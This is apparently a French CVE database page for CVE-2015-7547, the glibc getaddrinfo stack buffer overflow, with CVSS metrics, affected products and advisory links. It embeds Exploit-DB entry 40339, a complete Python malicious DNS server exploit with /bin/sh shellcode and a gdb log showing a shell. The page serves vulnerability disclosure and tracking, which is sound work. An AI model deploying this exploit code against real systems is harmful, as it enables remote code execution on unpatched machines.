CVE-2015-7547 : Détail

CVE-2015-7547

8.1
/
Haute
Overflow
97.22%V3
Network
2016-02-18
20h00 +00:00
2022-06-20
16h06 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Multiple stack-based buffer overflows in the (1) send_dg and (2) send_vc functions in the libresolv library in the GNU C Library (aka glibc or libc6) before 2.23 allow remote attackers to cause a denial of service (crash) or possibly execute arbitrary code via a crafted DNS response that triggers a call to the getaddrinfo function with the AF_UNSPEC or AF_INET6 address family, related to performing "dual A/AAAA DNS queries" and the libnss_dns.so.2 NSS module.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 8.1 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 39454

Date de publication : 2016-02-15 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

Sources: https://googleonlinesecurity.blogspot.sg/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html https://github.com/fjserna/CVE-2015-7547 Technical information: glibc reserves 2048 bytes in the stack through alloca() for the DNS answer at _nss_dns_gethostbyname4_r() for hosting responses to a DNS query. Later on, at send_dg() and send_vc(), if the response is larger than 2048 bytes, a new buffer is allocated from the heap and all the information (buffer pointer, new buffer size and response size) is updated. Under certain conditions a mismatch between the stack buffer and the new heap allocation will happen. The final effect is that the stack buffer will be used to store the DNS response, even though the response is larger than the stack buffer and a heap buffer was allocated. This behavior leads to the stack buffer overflow. The vectors to trigger this buffer overflow are very common and can include ssh, sudo, and curl. We are confident that the exploitation vectors are diverse and widespread; we have not attempted to enumerate these vectors further. We are providing this code as-is. You are responsible for protecting yourself, your property and data, and others from any risks caused by this code. This code may cause unexpected and undesirable behavior to occur on your machine. This code may not detect the vulnerability on your system. Note that this POC consists of two components: server code and client code. The server code triggers the vulnerability and therefore will crash the client code. Note also that it is necessary to set the nameserver to point to the server code, and doing so could cause other programs that call into the getaddrinfo() function to crash while testing is underway. This POC code is provided "as is" with no warranties, whether express or implied, including without limitation any warranties or merchantability, fitness for a particular use and noninfringement. Google assumes no responsibility for your proper installation and use of the POC code. Proof of Concept: https://github.com/fjserna/CVE-2015-7547/archive/master.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39454-1.zip
Exploit Database EDB-ID : 40339

Date de publication : 2016-09-05 22h00 +00:00
Auteur : SpeeDr00t
EDB Vérifié : No

/* add by SpeeDr00t@Blackfalcon (jang kyoung chip) This is a published vulnerability by google in the past. Please refer to the link below. Reference: - https://googleonlinesecurity.blogspot.kr/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html - https://github.com/fjserna/CVE-2015-7547 - CVE-2015-7547: glibc getaddrinfo stack-based buffer overflow When Google announced about this code(vulnerability), it was missing information on shellcode. So, I tried to completed the shellcode. In the future, I hope to help your study. (gdb) r Starting program: /home/haker/client1 Got object file from memory but can't read symbols: File truncated. [UDP] Total Data len recv 36 [UDP] Total Data len recv 36 udp send sendto 1 TCP Connected with 127.0.0.1:60259 [TCP] Total Data len recv 76 [TCP] Request1 len recv 36 data1 = ��foobargooglecom query = foobargooglecom$(�foobargooglecom [TCP] Request2 len recv 36 sendto 2 data1_reply data2_reply [UDP] Total Data len recv 36 [UDP] Total Data len recv 36 udp send sendto 1 TCP Connected with 127.0.0.1:60260 [TCP] Total Data len recv 76 [TCP] Request1 len recv 36 data1 = ��foobargooglecom query = foobargooglecom$�7foobargooglecom [TCP] Request2 len recv 36 sendto 2 data1_reply data2_reply process 6415 is executing new program: /bin/dash $ id uid=1000(haker) gid=1000(haker) groups=1000(haker),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare) $ */ import socket import time import struct import threading IP = '192.168.111.5' # Insert your ip for bind() here... ANSWERS1 = 184 terminate = False last_reply = None reply_now = threading.Event() def dw(x): return struct.pack('>H', x) def dd(x): return struct.pack('>I', x) def dl(x): return struct.pack('<Q', x) def db(x): return chr(x) def udp_thread(): global terminate # Handle UDP requests sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock_udp.bind((IP, 53)) reply_counter = 0 counter = -1 answers = [] while not terminate: data, addr = sock_udp.recvfrom(1024) print '[UDP] Total Data len recv ' + str(len(data)) id_udp = struct.unpack('>H', data[0:2])[0] query_udp = data[12:] # Send truncated flag... so it retries over TCP data = dw(id_udp) # id data += dw(0x8380) # flags with truncated set data += dw(1) # questions data += dw(0) # answers data += dw(0) # authoritative data += dw(0) # additional data += query_udp # question data += '\x00' * 2500 # Need a long DNS response to force malloc answers.append((data, addr)) if len(answers) != 2: continue counter += 1 if counter % 4 == 2: answers = answers[::-1] print 'udp send ' time.sleep(0.01) sock_udp.sendto(*answers.pop(0)) print 'sendto 1 ' reply_now.wait() sock_udp.sendto(*answers.pop(0)) print 'sendto 2 ' sock_udp.close() def tcp_thread(): global terminate counter = -1 #Open TCP socket sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock_tcp.bind((IP, 53)) sock_tcp.listen(10) print 'a' while not terminate: conn, addr = sock_tcp.accept() counter += 1 print 'TCP Connected with ' + addr[0] + ':' + str(addr[1]) # Read entire packet data = conn.recv(1024) print '[TCP] Total Data len recv ' + str(len(data)) reqlen1 = socket.ntohs(struct.unpack('H', data[0:2])[0]) print '[TCP] Request1 len recv ' + str(reqlen1) data1 = data[2:2+reqlen1] print 'data1 = ' +data1 id1 = struct.unpack('>H', data1[0:2])[0] query1 = data[12:] print 'query = ' + query1 # Do we have an extra request? data2 = None if len(data) > 2+reqlen1: reqlen2 = socket.ntohs(struct.unpack('H', data[2+reqlen1:2+reqlen1+2])[0]) print '[TCP] Request2 len recv ' + str(reqlen2) data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2] id2 = struct.unpack('>H', data2[0:2])[0] query2 = data2[12:] # Reply them on different packets data = '' data += dw(id1) # id data += dw(0x8180) # flags data += dw(1) # questions data += dw(ANSWERS1) # answers data += dw(0) # authoritative data += dw(0) # additional data += query1 # question for i in range(ANSWERS1): answer = dw(0xc00c) # name compressed answer += dw(1) # type A answer += dw(1) # class answer += dd(13) # ttl answer += dw(4) # data length answer += 'D' * 4 # data data += answer data1_reply = dw(len(data)) + data if data2: data = '' data += dw(id2) data += 'A' * (6) data += '\x08\xc5\xff\xff\xff\x7f\x00\x00' data += '\x90' * (44) data += '\x90' * (1955) data += '\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05' data += '\x90' * (100) data += '\xc0\xc4\xff\xff\xff\x7f\x00\x00' data += 'F' * (8) data += '\xc0\xc4\xff\xff\xff\x7f\x00\x00' data += 'G' * (134) data2_reply = dw(len(data)) + data else: data2_reply = None reply_now.set() time.sleep(0.01) conn.sendall(data1_reply) print 'data1_reply' time.sleep(0.01) if data2: conn.sendall(data2_reply) print 'data2_reply' reply_now.clear() sock_tcp.shutdown(socket.SHUT_RDWR) sock_tcp.close() if __name__ == "__main__": t = threading.Thread(target=udp_thread) t.daemon = True t.start() tcp_thread() terminate = True

Products Mentioned

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 15.10

Configuraton 0

Hp>>Helion_openstack >> Version 1.1.1

Hp>>Helion_openstack >> Version 2.0.0

Hp>>Helion_openstack >> Version 2.1.0

Hp>>Server_migration_pack >> Version 7.5

Configuraton 0

Sophos>>Unified_threat_management_software >> Version 9.319

Sophos>>Unified_threat_management_software >> Version 9.355

Configuraton 0

Suse>>Linux_enterprise_debuginfo >> Version 11.0

    Suse>>Linux_enterprise_debuginfo >> Version 11.0

      Suse>>Linux_enterprise_debuginfo >> Version 11.0

        Opensuse>>Opensuse >> Version 13.2

        Suse>>Linux_enterprise_desktop >> Version 11.0

        Suse>>Linux_enterprise_desktop >> Version 11.0

          Suse>>Linux_enterprise_desktop >> Version 12

          Suse>>Linux_enterprise_desktop >> Version 12

          Suse>>Linux_enterprise_server >> Version 11.0

            Suse>>Linux_enterprise_server >> Version 11.0

            Suse>>Linux_enterprise_server >> Version 11.0

              Suse>>Linux_enterprise_server >> Version 11.0

                Suse>>Linux_enterprise_server >> Version 12

                Suse>>Linux_enterprise_software_development_kit >> Version 11.0

                  Suse>>Linux_enterprise_software_development_kit >> Version 11.0

                  Suse>>Linux_enterprise_software_development_kit >> Version 12

                  Suse>>Linux_enterprise_software_development_kit >> Version 12

                  Suse>>Suse_linux_enterprise_server >> Version 12

                  Configuraton 0

                  Oracle>>Exalogic_infrastructure >> Version 1.0

                  Oracle>>Exalogic_infrastructure >> Version 2.0

                  Configuraton 0

                  F5>>Big-ip_access_policy_manager >> Version 12.0.0

                  F5>>Big-ip_advanced_firewall_manager >> Version 12.0.0

                  F5>>Big-ip_analytics >> Version 12.0.0

                  F5>>Big-ip_application_acceleration_manager >> Version 12.0.0

                  F5>>Big-ip_application_security_manager >> Version 12.0.0

                  F5>>Big-ip_domain_name_system >> Version 12.0.0

                  F5>>Big-ip_link_controller >> Version 12.0.0

                  F5>>Big-ip_local_traffic_manager >> Version 12.0.0

                  F5>>Big-ip_policy_enforcement_manager >> Version 12.0.0

                  Configuraton 0

                  Oracle>>Fujitsu_m10_firmware >> Version To (including) 2290

                  Configuraton 0

                  Redhat>>Enterprise_linux_desktop >> Version 7.0

                  Redhat>>Enterprise_linux_hpc_node >> Version 7.0

                  Redhat>>Enterprise_linux_hpc_node_eus >> Version 7.2

                  Redhat>>Enterprise_linux_server >> Version 7.0

                  Redhat>>Enterprise_linux_server_aus >> Version 7.2

                  Redhat>>Enterprise_linux_server_eus >> Version 7.2

                  Redhat>>Enterprise_linux_workstation >> Version 7.0

                  Configuraton 0

                  Gnu>>Glibc >> Version 2.9

                  Gnu>>Glibc >> Version 2.10

                  Gnu>>Glibc >> Version 2.10.1

                  Gnu>>Glibc >> Version 2.11

                  Gnu>>Glibc >> Version 2.11.1

                  Gnu>>Glibc >> Version 2.11.2

                  Gnu>>Glibc >> Version 2.11.3

                  Gnu>>Glibc >> Version 2.12

                  Gnu>>Glibc >> Version 2.12.1

                  Gnu>>Glibc >> Version 2.12.2

                  Gnu>>Glibc >> Version 2.13

                  Gnu>>Glibc >> Version 2.14

                  Gnu>>Glibc >> Version 2.14.1

                  Gnu>>Glibc >> Version 2.15

                  Gnu>>Glibc >> Version 2.16

                  Gnu>>Glibc >> Version 2.17

                  Gnu>>Glibc >> Version 2.18

                  Gnu>>Glibc >> Version 2.19

                  Gnu>>Glibc >> Version 2.20

                  Gnu>>Glibc >> Version 2.21

                  Gnu>>Glibc >> Version 2.22

                  Références

                  http://www.securitytracker.com/id/1035020
                  Tags : vdb-entry, x_refsource_SECTRACK
                  http://marc.info/?l=bugtraq&m=146161017210491&w=2
                  Tags : vendor-advisory, x_refsource_HP
                  http://rhn.redhat.com/errata/RHSA-2016-0175.html
                  Tags : vendor-advisory, x_refsource_REDHAT
                  http://marc.info/?l=bugtraq&m=145857691004892&w=2
                  Tags : vendor-advisory, x_refsource_HP
                  http://rhn.redhat.com/errata/RHSA-2016-0225.html
                  Tags : vendor-advisory, x_refsource_REDHAT
                  http://www.debian.org/security/2016/dsa-3481
                  Tags : vendor-advisory, x_refsource_DEBIAN
                  http://ubuntu.com/usn/usn-2900-1
                  Tags : vendor-advisory, x_refsource_UBUNTU
                  http://rhn.redhat.com/errata/RHSA-2016-0277.html
                  Tags : vendor-advisory, x_refsource_REDHAT
                  http://marc.info/?l=bugtraq&m=145672440608228&w=2
                  Tags : vendor-advisory, x_refsource_HP
                  http://www.securityfocus.com/bid/83265
                  Tags : vdb-entry, x_refsource_BID
                  https://security.gentoo.org/glsa/201602-02
                  Tags : vendor-advisory, x_refsource_GENTOO
                  http://marc.info/?l=bugtraq&m=145596041017029&w=2
                  Tags : vendor-advisory, x_refsource_HP
                  https://www.exploit-db.com/exploits/40339/
                  Tags : exploit, x_refsource_EXPLOIT-DB
                  http://rhn.redhat.com/errata/RHSA-2016-0176.html
                  Tags : vendor-advisory, x_refsource_REDHAT
                  http://www.debian.org/security/2016/dsa-3480
                  Tags : vendor-advisory, x_refsource_DEBIAN
                  https://www.exploit-db.com/exploits/39454/
                  Tags : exploit, x_refsource_EXPLOIT-DB
                  https://www.kb.cert.org/vuls/id/457759
                  Tags : third-party-advisory, x_refsource_CERT-VN
                  http://marc.info/?l=bugtraq&m=145690841819314&w=2
                  Tags : vendor-advisory, x_refsource_HP
                  http://seclists.org/fulldisclosure/2019/Sep/7
                  Tags : mailing-list, x_refsource_FULLDISC
                  https://seclists.org/bugtraq/2019/Sep/7
                  Tags : mailing-list, x_refsource_BUGTRAQ
                  http://seclists.org/fulldisclosure/2021/Sep/0
                  Tags : mailing-list, x_refsource_FULLDISC
                  http://seclists.org/fulldisclosure/2022/Jun/36
                  Tags : mailing-list, x_refsource_FULLDISC